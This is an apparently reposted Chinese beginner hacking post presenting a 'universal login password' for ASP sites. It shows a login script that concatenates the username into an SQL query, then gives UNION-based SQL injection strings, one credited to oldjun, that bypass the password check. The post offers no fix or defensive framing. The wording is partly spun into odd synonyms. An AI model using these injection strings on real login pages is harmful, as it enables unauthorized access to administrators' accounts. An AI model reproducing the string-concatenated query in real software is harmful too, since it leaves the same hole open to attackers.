ASP注入万能登陆密码[菜鸟入门]

　　原文:http://hi.百度.com/yanfei6/blog/item/52b6572a4bdcd0305243c114.html

　　《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码.比方网上有很多这样的登陆考证代码:

　　程序代码

　　<%

　　username=trim(Request.Form("username"))

　　password=trim(Request.Form("password"))

　　sql="Select * FROM admin Where user='"&username&"'"

　　Set rs=Server.CreateObject("adodb.recordset")

　　rs.Open sql,conn,1,1

　　if rs.eof then

　　checksysUser=FALSE

　　else

　　passwd=trim(rs("pwd"))

　　if passwd=password then

　　Session("admin")=username

　　checksysUser=TRUE

　　else

　　checksysUser=FALSE

　　end if

　　End if

　　rs.close

　　conn.close

　　if checksysUser=true then

　　Response.Redirect("main.asp")

　　else

　　errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"

　　end if

　　%>

　　先在数据库中查询用户名对应的密码,然后再和用户输入的密码比较,招致'or'='or'这样的万能登陆密码失效.

　　但假如在上面的程序中,用户名输入 程序代码

　　' UNION Select 1,1,1 FROM admin Where ''='

　　,密码输入1,便可以登陆成功,原理很简单,就不多说了.

　　趁便附上oldjun的语句:

　　程序代码

　　' UNION Select 1,1,1 AS pwd FROM admin Where ''='

　　以上是“ASP注入万能登陆密码[菜鸟入门]”的内容，如果你对以上该文章内容感兴趣，你可以看看七道奇为您推荐以下文章：